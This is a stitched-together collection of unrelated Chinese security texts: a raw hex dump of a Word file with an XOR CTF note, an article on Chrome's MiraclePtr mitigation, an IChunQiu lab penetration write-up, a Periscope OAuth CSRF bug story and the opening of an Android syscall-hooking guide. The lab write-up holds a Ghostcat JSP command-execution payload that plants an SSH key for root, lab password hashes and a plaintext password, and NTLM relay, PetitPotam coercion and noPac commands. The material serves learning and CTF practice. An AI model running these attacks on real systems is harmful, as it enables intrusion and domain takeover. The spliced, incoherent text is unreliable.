ffffffffffffffffffffffffffffffffffffffff0d000000fdfffffffefffffffeffffff12000000110000000f000000130000001400000015000000feffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0500530075006d006d0061007200790049006e0066006f0072006d006100740069006f006e00000000000000000000000000000000000000000000000000000028000200ffffffffffffffffffffffff0000000000000000000000000000000000000000000000000000000000000000000000001000000046010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffff0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffff0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000feffffff030000000400000005000000060000000700000008000000090000000a0000000b0000000c0000000d0000000e0000000f000000160000001100000012000000130000001400000015000000feffffff1700000018000000190000001a0000001b0000001c0000001d0000001e0000001f000000200000002100000022000000230000002400000025000000260000002700000028000000290000002a0000002b0000002c0000002d0000002e0000002f0000003000000031000000fefffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffeff0000040002000000000000000000000000000000000001000000e0859ff2f94f6810ab9108002b27b3d930000000160100000a000000070000009800000002000000ae00000008000000bf00000001000000cb0000000f000000d100000010000000d900000012000000e10000000e000000fc0000000900000004010000130000000e010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001e0000000e000000433a5c4e6f726d616c2e646f74001e00000009000000537562204d41494e001e0000000400000079696e0002000000e404030000000000000003000000000000001e000000130000004d6963726f736f667420576f726420362e300003000000000000001e00000002000000360003000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000014502b4937362c2d49364429606c6463494a06ad2847064b414c4a56154f48494b494f4f004f4c191f00191e491c001518154e004e1f4c1800181d1c1f491e1d14502b493736000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100feff030a0000ffffffff0009020000000000c0000000000000461c0000004d6963726f736f667420576f726420362e3020446f63756d656e74000a0000004d53576f7264446f630010000000576f72642e446f63756d656e742e3600f439b271000000000000000000000000000000000000000000000000000000000000dca5680045c0090400003500650000000000000000000000000300004b030000520a0000000000000000000000000000000000004b0000000000000000000000000000000000000000000000000000000000000000000000000800008c000000000800008c0000008c080000000000008c080000000000008c080000000000008c080000000000008c08000014000000c408000000000000b60800000e000000c408000000000000c408000000000000c408000000000000c40800000a000000ce0800000a000000c4080000000000009809000043000000d808000000000000d808000000000000d808000000000000d808000000000000d808000000000000d808000000000000d808000000000000d808000000000000000000000000000051090000000000005109000000000000510900000000000051090000000000005109000000000000510900001e000000db09000058000000330a00001f0000006f09000029000000000000000000000000000000000000008c08000000000000d80800000000000000000200030001000100d808000000000000d80800000000000000000000000000000000000000000000d808000000000000d8080000000000006f09000000000000d8080000000000008c080000000000008c08000000000000d80800000000000000000000000000000000000000000000d808000000000000d808000000000000d808000000000000d808000000000000d8080000000000008c08000000000000d8080000000000008c08000000000000d8080000000000001f0900000000000000000000000000000000000000000000a008000008000000a80800000e0000008c080000000000008c080000000000008c080000000000008c08000000000000d8080000000000001f09000000000000d808000047000000d80800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004d7920667269656e642c204920736169642c207468657265206973207265616c6c79206e6f20666c616720686572652c2077687920646f6e927420796f752062656c69657665206d653f0d2c2d49364429606c6463494a062d28470b4b414c4a56154f48494b494f4f4f4c191f191e491c1518154e4e1f4c18181d1c1f491e1d000300004b03000086030000c603000000fefe00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002750103000300004b030000fe00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000010e000f00080001004b000f00000000003c000040f1ff02003c00064e6f726d616c00210000000f1d0009e001c003a00580076009400b200d000fe0100000000000000000000006005d030061090400000000000000000000000000000000000022004140f2ffa10022001644656661756c742050617261677261706820466f6e740000000000000000000000000000004b0000000300ffffffff0300ffffffff01000420ffff0100000000004b000000000000000000000000004b0000000003c021670200030000c60300000200000300004b030000030047000379696e0b433a5c663134672e646f740379696e30433a5c57494e4e545c50726f66696c65735c41646d696e6973747261746f725c4465736b746f705c663134672e646f74ff010100552d00000000ffff0000000040000000060000008603000010090004663134670100110100000004463134470040018001003f0000003f0000000800010001003f000000000000003f0000000105005581633800021c000000000000004a0000004b000000300000030000010030004a0300000000430015169001000054696d6573204e657720526f6d616e000c169001020053796d626f6c000b2690010000417269616c00113590010000436f7572696572204e65770022000400310888180000d0020000680100000000a48c97c7a88c97c70000000006000300000000000000000000000000000000000400831000000000000000000000000000000000000000000000000000002403000000001f00000008537562204d41494e000000000379696e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
转一下十六进制
导出后是一个doc文件
用winhex打开看一下，发现在word上显示的信息后面还有一串东西
XOR爆破一下，发现flag，但是不对，很是疑惑嗷。
查看十六进制，在后面又看到了类似于疑惑爆破后为flag的字符串
疑惑爆破一下得到最终flag
此时正好就是对字符’-‘进行异或 | 社区文章 |
**作者：墨云科技VLab Team
原文链接：<https://mp.weixin.qq.com/s/oJPYrY84yqEa0FrezG-QPw>**
2022年9月13日，Google安全团队在其安全博客中发布了一篇关于MiraclePtr的文章，介绍了Google
Chrome安全团队在缓解UAF漏洞利用上的进展。由于MiraclePtr并不是单指某一种智能指针技术，而是包含了Google安全团队在缓解UAF利用上的多次实验和尝试，本文也仅针对其最新启用的BackupRef方案做介绍，如有疏漏错误，敬请斧正，共同交流探讨。
## **MiraclePtr**
首先需要明确，MiraclePtr与unique_ptr、weak_ptr等C++中的原始智能指针并不是同一概念，它是Google安全团队在缓解由指针引起的内存破坏漏洞过程中，提出的多种方案集合，其本质是希望将原始指针迁移到带缓解方案的智能指针类，通过引用计数、指针标记等方式阻止攻击者对内存破坏漏洞被利用，重点解决的是UAF类型漏洞的悬垂指针可被利用的问题。
如上图，Google安全团队认为攻击者在针对Chrome的攻击过程中，通常需要组合一个渲染器漏洞利用和一个沙箱逃逸漏洞来达到完整利用的目的，MiraclePtr可以通过缓解UAF漏洞利用，有效的阻止攻击者针对浏览器主进程中UAF漏洞的利用（上图蓝色部分），让攻击者无法实现完整的利用链，从而降低漏洞危害。
在对Chrome历史可利用漏洞统计中，UAF类型漏洞占了几乎一半，因此MiraclePtr也尝试了包含BackupRefPtr、BorrowPtr、SafePtr、CheckedPtr、MTECheckedPtr、ViewPtr在内的多种方式来缓解UAF类型的漏洞利用，并在对比了各方案在性能开销、内存开销、安全保护、开发人员便利性上的优缺点后，近期在Windows和Android的Chrome
102稳定版中启用了BackupRefPtr，下文只重点介绍BackupRefPtr，其他方案详细信息查看参考链接中的内容。
## **BackupRefPtr方案**
BackupRefPtr提出了依赖“确定性引用计数”的指针保护方案，主要借鉴了CheckedPtr2、SafePtr和BorrowPtr的思路，并且需要Chrome的堆内存分配器PartitionAlloc支持。在2020年，Google
ProjectZero在博客公布的一篇采用CPU漏洞侧信道攻击来泄漏缓存数据，从而实现Chrome沙箱逃逸的文章，证明了依赖指针标记的方案有潜在的被通过侧信道攻击的风险，出于安全性考虑，确定性引用计数的方案成了优先选择。
PartitionAlloc是Chrome中自行实现的堆分配器，主要在分配效率、内存空间利用率和安全性上进行了优化。PartitionAlloc使用2MB大小的超级页面作为普通数据桶，每个超级页面被分割成多个分区。第一个和最后一个分区是永久不可访问的，用来当作保护页面，在第一个分区页中间的一个系统页面保存了元数据（metadata），这些元数据提供了对内存对象的跟踪能力，BackupRefPtr使用到的引用计数就存储在metadata中。
在Chromium的源码实现中，BackupRefPtr是一个线程安全的引用计数指针类，可以非常简单的替换原始指针，Chromium团队在引入BackupRefPtr时也一次性替换了源码之中超过15000个原始指针。BackupRefPtr的引用计数存储在PartitionAlloc元数据中（与CheckedPtr2方案使用同一标志位），如果在销毁一个对象时，它的引用计数不为零，则会将该对象标记为被污染，此时程序不会真正的释放该内存，而是在再次访问被破坏的对象时，程序将发生主动崩溃。
该方案PoC代码如下，具体实现可参考Chromium源码raw_ptr.h中的BackupRefPtrImpl类：
template <typename T>
class BackupRefPtr {
BackupRefPtr(T* ptr) : ptr_(ptr) {
if (!isSupportedAllocation(ptr))
return;
atomic_int& ref_count = *(cast<atomic_int*>(ptr) - 1);
CHECK(++ref_count);
}
~BackupRefPtr() {
if (!isSupportedAllocation(ptr_))
return;
atomic_int& ref_count = *(cast<atomic_int*>(ptr) - 1);
if (--ref_count == 0) // needed in case the BackupRefPtr outlives
// its pointee and has to free the slot
PartitionAlloc::ActuallyFree(ptr_);
}
T* operator->() { return ptr_; }
T* ptr_;
};
void* Alloc(size_t size) {
void* ptr = ActuallyAlloc(size);
if (isSupportedAllocation(ptr)) {
int& ref_count = *(cast<int*>(ptr) - 1);
ref_count = 1; // We need to set the reference count to one initially
// otherwise |~BackupRefPtr| can trigger deallocation of
// an object that’s still alive.
}
return ptr;
}
void Free(void* ptr) {
if (isSupportedAllocation(ptr)) {
atomic_int& ref_count = *(cast<atomic_int*>(ptr) - 1);
if (ref_count != 1)
memset(ptr, 0xcc, getAllocationSize(ptr));
if (--ref_count != 0)
return;
}
ActuallyFree(ptr);
}
## **总结**
BackupRefPtr通过上述机制，解决了悬垂指针（Dangling
Pointer）被利用的问题，在该方案中，发生释放操作但引用计数不为0的对象并没有被真正释放，攻击者无法使用堆喷射等方式重新分配该对象的内存空间，并且在对象再次被访问时，该内存区域被填充了污染标志或发生主动崩溃，UAF漏洞被缓解为内存泄漏、断言失败或空指针等无法利用的崩溃。
整体而言，该机制的引入进一步降低了Chrome中可利用漏洞的比例，一定程度上提高了Chrome的安全性。
## **参考链接**
1、Use-after-freedom: MiraclePtr
<https://security.googleblog.com/2022/09/use-after-freedom-miracleptr.html>
2、Pointer Safety Ideas [PUBLIC] - Comparison of Use-After-Free mitigation
proposals
<https://docs.google.com/document/d/1qsPh8Bcrma7S-5fobbCkBkXWaAijXOnorEqvIIGKzc0/edit>
3、BackupRefPtr
<https://docs.google.com/document/d/1m0c63vXXLyGtIGBi9v6YFANum7-IRC3-dmiYBCWqkMk/edit#heading=h.jgclb3snutxw>
4、PartitionAlloc Design
<https://chromium.googlesource.com/chromium/src/+/main/base/allocator/partition_allocator/PartitionAlloc.md>
5、Escaping the Chrome Sandbox with RIDL
<https://googleprojectzero.blogspot.com/2020/02/escaping-chrome-sandbox-with-ridl.html>
6、MDS: Microarchitectural Data Samplin
<https://mdsattacks.com/>
* * * | 社区文章 |
# 赏金猎人：IChunQiu云境-Spoofing Writeup
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 – Intro
* 2022年12月5号开始，于次日获得一血，斩获1000元奖励
## 0x01 – Info
* Tag: Tomcat，NTLM，WebClient，Coerce Authentication，noPac
## 0x02 – Recon
1. Target external ip
47.92.146.66
1. Nmap results
Focus on port 8009 (ajp) ，意味着是tomcat (对应了靶场的tomcat tag)
2. 目录扫描，404页面显示为tomcat 9.0.30
3. Playing with Ghost cat
使用该项目测试
<https://github.com/00theway/Ghostcat-CNVD-2020-10487>
读取/web-inf/web.xml
url-pattern 结果存为字典
FFuf
关注uploadservlet
上传temp.txt
返回文件地址
./upload/7dbbdee357b4472f5aad6b8ce83980dd/20221206093440839.txt
替换 ./upload to /upload，成功读取到上传的文件
python3 ajpShooter.py http://47.92.146.66:8080 8009 /upload/7dbbdee357b4472f5aad6b8ce83980dd/20221206093440839.txt read
## 0x03 – GhostCat命令执行
1. 准备好 shell.txt
<% java.io.InputStream in = Runtime.getRuntime().exec(“bash -c
{echo,ZWNobyAic3NoLXJzYSBBQUFBQjNOemFDMXljMkVBQUFBREFRQUJBQUFCZ1FDL3NKaDY4Uk5hWktLakNQaE40WUxpSnJ4eDR3N3JtbDBGcFRmMTNYNHVKZlpFZm4yU25scE9rdXQ0OE1LdURHOEtDcXczRW0zNU9odXdUa2p3ZEkvRGhGN3ZSeTB0T2xtWDE5NmJHcXpndE5pM1YzUHExc3NCMzV5Ui85SHJ6ZjVEdHdqS2NKdkphV0RuZzU2UWhHZjlnR21vdUZVQWV2QjdsUWl3a01FNWNxTzVsQTRwUm5KVEh2RU1OQUkxQkc3MTBEeWNKT28rNGh1TGNNVjZhdUs3UXdKTWdnN0oyU2U5TEpGZWk2R2g0amJUSGRhdmNBVjV6VVJZeFI4QVNXSmNqY29tM2dMUEE1UWNxSzNzSERRVmswUHllaTR3cEJwWWlFUGlHcHlQR2Y1T3ErUU0xQmJyR0gvTlRBYnZWa3dDZnBkRURWdVBNNWhHOFY4c09HTjIxczlWazFjMVBXaEh2WDZ1ejhRaDRNdUdnQlRYSHlZb3duTjg3OTExVDVGR0VjVzlWeUh1cm9FSVJtdE9sY3dBYmRMc0k0NVhOS1o0aWoxdERLNTRTMmpXWXhJTjhSL1ZuUnV2RVVoTVpGOUlabDM3UW5EQnBFR25LTXFjTVE4cHVUZUJBMngvSURHMFR6MWxjVGk5WHp5WjVheTd4dTJwZStidXhWT1BSQ2M9IiA+PiAvcm9vdC8uc3NoL2F1dGhvcml6ZWRfa2V5cwoKY2htb2QgNjAwIC9yb290Ly5zc2gvYXV0aG9yaXplZF9rZXlzCg==}|{base64,-d}|{bash,-i}”).getInputStream();
int a = -1; byte[] b = new byte[2048]; out.print(“<pre>“);
while((a=in.read(b))!=-1){ out.println(new String(b)); }
out.print(“</pre>“);%>
1. 上传shell.txt
2. 执行上传的代码
3. SSH – flag01
## 0x04 – 入口 Ubuntu: 172.22.11.76
1. SSH
2. 没啥东西，直接过
3. 开代理
4. 挂代理扫445，获取到三台主机信息
172.22.11.45 XR-Desktop.xiaorang.lab
172.22.11.6 xiaorang-dc.xiaorang.lab
172.22.11.26 XR-LCM3AE8B.xiaorang.lab
5. 关注172.22.11.45 – windows7 – MS17
6. MS17 一气呵成
7. 基本操作
凭据列表
Administrator 4430c690b4c1ab3f4fe4f8ac0410de4a – (本地凭据)
John 03cae082068e8d55ea307b75581a8859 – (本地凭据)
XR-DESKTOP$ 3aa5c26b39a226ab2517d9c57ef07e3e – (域凭据)
yangmei 25e42ef4cc0ab6a8ff9e3edbbda91841 – xrihGHgoNZQ (明文) – (域凭据)
本人已经试过组合爆破了，没有东西，这边直接略过演示，直接到域渗透环节
8. Flag2
9. 把域用户yangmei加入该机器的本地管理员
10. 确定域控IP为172.22.11.6 – xiaorang-dc
11. Bloodhound收集
## 0x05 – 域渗透环节, 入口 XR-Desktop: 172.22.11.45
* 这边快速过一下 (一句话总结：不能直接拿下域控)
1. 使用Bloodhound收集到的用户名组合获取到的密码/hashes组合爆破，没发现其他新用户
2. MAQ = 0，加不了计算机
3. 当前LDAP 没 TLS，远程也加不了计算机，impacket的addcomputer有两种方法samr和ldaps。samr受到MAQ = 0的限制，无法添加计算机；ldaps受到 没TLS + MAQ = 0 的限制
4. 域控存在nopac，当前用户yangmei使用nopac没打死，并且对域内computer container没有createchild的ACL
5. 域控存在nopac，当前用户yangmei对当前windows机器xr-desktop没WriteDacl权限，意味着无法修改SamAccountName
6. 域内存在 DFscoerce 和 petitpotam，但是不存在CVE-2019-1040，因此放弃 DFscoerce，优先使用petitpotam
7. NoPac exploit: [Ridter/noPac: Exploiting CVE-2021-42278 and CVE-2021-42287 to impersonate DA from standard domain user (github.com)](https://github.com/Ridter/noPac)
1. Petitpotam 扫描
2. 无ADCS + Petitpotam + ntlm中继打法
攻击链：用petitpotam触发存在漏洞且开启了webclient服务的目标，利用petitpotam触发目标访问我们的http中继服务，目标将会使用webclient携带ntlm认证访问我们的中继，并且将其认证中继到ldap，获取到机器账户的身份，以机器账户的身份修改其自身的
msDS-AllowedToActOnBehalfOfOtherIdentity 属性，允许我们的恶意机器账户模拟以及认证访问到目标机器 (RBCD)
* 满足条件，目标机器需要开启webclient服务
WebClient扫描，确定只能拿下 172.22.11.26 (XR-LCM3AE8B)
* 中继攻击前言：
* 实战中的中继打法只需要停掉80占用服务，开启端口转发（portfwd，CS在后续版本中添加了rportfwd_local，直接转发到客户端本地）
* 本次演示类似实战的打法，不选择把impacket丢到入口ubuntu上面这种操作
1. 中继攻击环境配置: 端口转发 + 代理
我们目前需要把服务器的80，转发到客户端本地的80
* 注意：由于SSH的反向端口转发监听的时候只会监听127.0.0.1，所以这时候需要点技巧
如图所示，即使反向端口转发79端口指定监听全部 (-R
\\*:79:127.0.0.1:80)，端口79依旧绑定在了127.0.0.1（图中顺便把socks5代理也开了）
加多一条socat，让流量 0.0.0.0:80 转发到 127.0.0.1:79，再反向转发回客户端本地的80 ,变相使80监听在0.0.0.0
测试，从172.22.11.76:80 进来的流量直接转发到了我们本地
本地开启ntlmrelayx
* 注意：
* 前面提到，没有ldaps，所以不能使用addcomputer
* 同时在使用proxychains后，ldap://后面只能接dc的ip
* 利用前面拿下的XR-Desktop作为恶意机器账户设置RBCD
`sudo proxychains4 -q -f proxychains.conf ntlmrelayx.py -t ldap://172.22.11.6
--no-dump --no-da --no-acl --escalate-user 'xr-desktop$' --delegate-access`
1. 使用Petitpotam触发 XR-LCM3AE8B 认证到172.22.11.76 (ubuntu)
`proxychains4 -q -f ~/HTB/Spoofing/proxychains.conf python3 PetitPotam.py -u
yangmei -p 'xrihGHgoNZQ' -d xiaorang.lab ubuntu[@80](https://github.com/80
"@80")/pwn.txt XR-LCM3AE8B`
可以看到，已经完成RBCD攻击了，接下来就是直接申请XR-LCM3AE8B的银票了
2. 申请XR-LCM3AE8B CIFS票据
## 0x06 – 域渗透环节 – NoPAC, 入口 XR-LCM3AE8B：172.22.11.26
1. psexec
* flag03在 C:\users\administrator\flag\flag03.txt (这里没截图)
1. smbclient.py 传 mimikatz
2. 获取到新凭据
zhanghui 1232126b24cdf8c9bd2f788a9d7c7ed1
3. nopac
* 只有zhanghui能成功，zhanghui在MA_Admin组，MA_Admin组对computer 能够创建对象，但是在bloodhound没看到
`AdFind.exe -b "CN=Computers,DC=xiaorang,DC=lab" nTSecurityDescriptor
-sddl+++`
Bloodhound看不到，主要原因是没把CreateChild采集进json
1. 回到nopac，加上 create-child 参数
## 0x07 – 域渗透环节 – xiaorang-dc
1. 使用nopac申请到的cifs票据登录进入DC
* flag04在 C:\users\administrator\flag\flag04.txt (这里没截图)
1. 域管 (略过使用mimikatz)
`administrator 0fadb57f5ec71437d1b03eea2cda70b9`
预估稿费：130RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
距离我发上一篇博客已经将近一年了，所以我想我要写一些有趣的东西：我在 Twitter (Periscope) 上发现了一个 bug。这个
bug（CSRF）本身并没有什么吸引人的地方，不过我觉得我发现它的方法和我的思考过程应该是值得分享的。
几天前我注意到 Twitter，或者说是 Periscope 发布了一个 Producer
API([https://blog.twitter.com/developer/en_us/topics/tools/2017/introducing-the-periscope-producer-api.html](https://blog.twitter.com/developer/en_us/topics/tools/2017/introducing-the-periscope-producer-api.html))，这个 API 只对其一些合作伙伴开放，它的用处是可以在一个 Periscope
账户上直接播放由第三方应用（比如一些外部相机设备）拍摄的直播视频。
这听起来和OAuth有关，根据我以往的经验，OAuth的使用通常是存在问题的，所以我打算仔细研究一下。
我遇到的第一个问题是这个API甚至没有公开的使用文档，因为在这篇博客(<https://blog.twitter.com/developer/en_us/topics/tools/2017/introducing-the-periscope-producer-api.html>)中提到了一些正在使用这个API的合作伙伴，所以我想尝试着去了解他们是如何做API交互的。然而不幸的是为了使用他们在 Periscope
上的功能必须对他们进行付费订阅，即使我愿意付费的话也无济于事，因为他们是一些Web应用程序，利用API进行交互的工作是由服务器完成的。
接下来我注意到一个手机应用也在使用这个API（Mevo on
iOS），在手机应用中，OAuth请求一般是由客户端直接发起的，并且可以通过劫持流量来理解API的调用。在OAuth 1.0a
中使用签名机制来防止流量劫持，而OAuth
2.0仅仅依赖HTTPS来保证传输的安全性。因此，除非应用程序使用了一些严格的证书钉扎技术（其中大部分可以通过SSL Kill Switch
2解决），那么应该不会有问题。
下一个遇到的问题是为了开始使用APP，你必须有一个Mevo相机。这个相机在Amazon上的价格是399.99美元，所以我也不愿意为了测试一个可能不存在漏洞的东西而去买这么一个相机。
所以我尝试了我并不熟悉的领域：逆向工程。我准备了一个已越狱的并安装了Clutch(<https://github.com/KJCracks/Clutch>)
的iPhone来解密IPA文件，用class-dump(<https://github.com/nygard/class-dump>)生成Objective-C头文件，还用Hopper(<https://www.hopperapp.com/index.html>
)来反汇编代码。
开始的时候我从头文件中搜索“Periscope”这个词，因为很可能他们用这个名字的类来处理与Periscope交互的逻辑。
像PeriscopeBroadcastCreateOperation.h和PeriscopeBroadcastPublishAPIOperation.h这样的文件名引起了我的注意，因为它们与Periscope的API调用相关。
通过观察这些文件，我注意到他们都扩展了PeriscopeAPIOperation类，所以这个类是下一个需要关注的地方。
//
// Generated by class-dump 3.5 (64 bit).
//
// class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2013 by Steve Nygard.
//
#import "GroupOperation.h"
@class NSDictionary, NSMutableURLRequest, PeriscopeOAuthOperation, PeriscopeRefreshTokenAPIOperation, URLSessionTaskOperation;
@interface PeriscopeAPIOperation : GroupOperation
{
NSDictionary *_JSON;
URLSessionTaskOperation *_taskOperation;
PeriscopeRefreshTokenAPIOperation *_refreshTokenOperation;
PeriscopeOAuthOperation *_oauthOperation;
NSMutableURLRequest *_request;
}
+ (void)removeCookies;
+ (void)logout;
+ (id)userID;
+ (id)refreshToken;
+ (id)accessToken;
+ (void)updateAccessToken:(id)arg1;
+ (void)setAccessToken:(id)arg1 refreshToken:(id)arg2 forAccount:(id)arg3;
+ (_Bool)isUserAuthorized;
+ (id)buildRequestForPath:(id)arg1 params:(id)arg2 query:(id)arg3 queryItems:(id)arg4 HTTPMethod:(id)arg5 accessToken:(id)arg6;
@property(retain, nonatomic) NSMutableURLRequest *request; // @synthesize request=_request;
@property(retain, nonatomic) PeriscopeOAuthOperation *oauthOperation; // @synthesize oauthOperation=_oauthOperation;
@property(retain, nonatomic) PeriscopeRefreshTokenAPIOperation *refreshTokenOperation; // @synthesize refreshTokenOperation=_refreshTokenOperation;
@property(retain, nonatomic) URLSessionTaskOperation *taskOperation; // @synthesize taskOperation=_taskOperation;
@property(retain) NSDictionary *JSON; // @synthesize JSON=_JSON;
- (void).cxx_destruct;
- (void)repeatOperation;
- (_Bool)operationHas401Code;
- (_Bool)shouldHandle401Code;
- (void)operationDidFinish:(id)arg1 withErrors:(id)arg2;
- (void)finishWithError:(id)arg1;
- (id)initWitMethod:(id)arg1 params:(id)arg2;
- (id)initWitMethod:(id)arg1 params:(id)arg2 HTTPMethod:(id)arg3;
- (id)initWitMethod:(id)arg1 queryItems:(id)arg2;
- (id)initWitMethod:(id)arg1 params:(id)arg2 HTTPMethod:(id)arg3 queryItems:(id)arg4;
@end
哇，这是相当多的属性和方法。 看这些方法名称，这个类应该负责处理对Periscope的API调用。
我打开Hopper来测试我的理论，确定的是，他们调用`initWitMethod`方法来发起一个带有参数的API调用。
从那里开始，我只需要找出还有其他哪些地方调用了这个方法，这样我可以有一个Periscope API调用列表和参数名。
通过之后的分析，我还从静态字符串中提取了Mevo的API root，`client_id`和`client_secret`。
在经历所有这些麻烦之后，我终于可以开始检查Periscope的OAuth实现的安全性。 我很快发现初始授权端点没有CSRF保护。
第三方的Periscope应用程序可以请求对用户的Periscope帐户的完全权限，攻击者可能会准备恶意的第三方应用程序，并让用户在不知不觉中对其进行授权，以代表用户执行操作。
关于该漏洞的具体细节可以在下面的报告中找到，虽然相对来说可能不那么有趣。
**结论**
我关注Twitter的更新，因为我相信这可以确保我可以在任何人之前测试新的功能。
此外，仅向某些方开放的功能并不意味着您无法在公开之前进行测试，您只需要找到一种访问它们的方法。
底线的做法是可以请求程序允许您访问测试的功能（尽管Twitter尚未响应我的请求）。
最后但并非最不重要的是，当有些事情需要你支付时，不要马上退出。
即使你像我一样找不到绕过付款的方式。无论如何这是一个很好的机会，因为人们一般不想投资于不确定性，这就意味着一个探索没有人看到的地方的机会。
我见识过有人这样做之后获得了成功。
**引用**
HackerOne上的原始报告(<https://hackerone.com/reports/215381>) | 社区文章 |
# 【技术分享】hook Android系统调用的乐趣和好处
|
##### 译文声明
本文是翻译文章，文章来源：vantagepoint.sg
原文地址：<https://www.vantagepoint.sg/blog/82-hooking-android-system-calls-for-pleasure-and-benefit>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
**翻译：**[ **myswsun**
****](http://bobao.360.cn/member/contribute?uid=2775084127)
**预估稿费：200RMB**
******投稿方式：发送邮件至**[ **linwei#360.cn**](mailto:linwei@360.cn) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿******
**
**
**0x00 前言**
Android的内核是逆向工程师的好伙伴。虽然常规的Android应用被限制和沙盒化，逆向工程师可以按自己希望自定义和改变操作系统和内核中行为。这给了你不可多得的优势，因为大部分完整性校验和防篡改功能都依赖内核的服务。部署这种可以滥用信任并自我欺骗的内核和环境，可以避免走很多歪路。
Android应用有几种方式和系统环境交互。标准方法是通过安卓应用框架的API函数。然而在底层，很多重要的函数，例如分配内存和访问文件，都是被转化为linux的系统调用。在ARM
linux中，系统调用的调用是通过SVC指令触发软件中断实现的。中断调用内核函数vector_swi()，用系统调用号作为一个函数指针表的偏移（如安卓上的sys_call_table）。
拦截系统调用最直接的方法是注入你的代码到内核内存中，覆盖系统调用表中的原始函数地址重定向执行。不幸的是，目前Android内核加强了内存限制阻止了这种操作。具体来说，内核是在启用CONFIG_STRICT_MEMORY_RWX选项的情况下构建的。这阻止了向只读内核内存区写入，意味着任何试图修改系统代码或者系统调用表的操作都将导致崩溃和重启。绕过这个的一个方法就是自己编译内核：能够禁用这种保护，做更多自定义的修改有利于逆向分析。如果你按常规方法逆向Android应用，构建你自己的逆向沙盒是不明智的。
注意：下面的步骤是最好在Ubuntu 14.04环境中用Android NDK
4.8完成。我个人在Mac上面失败了很多次才完成。我推荐用Ubuntu虚拟机，除非你是个受虐狂。
**0x01 构建内核**
为了hack的目的，我推荐使用支持[AOSP](https://source.android.com/)的设备。Google的Nexus智能手机和平板电脑是最合理的选择，从AOSP构建的内核和系统组件在上面运行没有问题。另外，索尼的Xperia也可以。为了构建AOSP内核，需要一系列[工具](https://developer.android.com/ndk/downloads/index.html)（交叉编译工具）和相应的内核源代码。根据[谷歌的指导](https://source.android.com/source/initializing.html)，确定了正确的git仓库和分支。
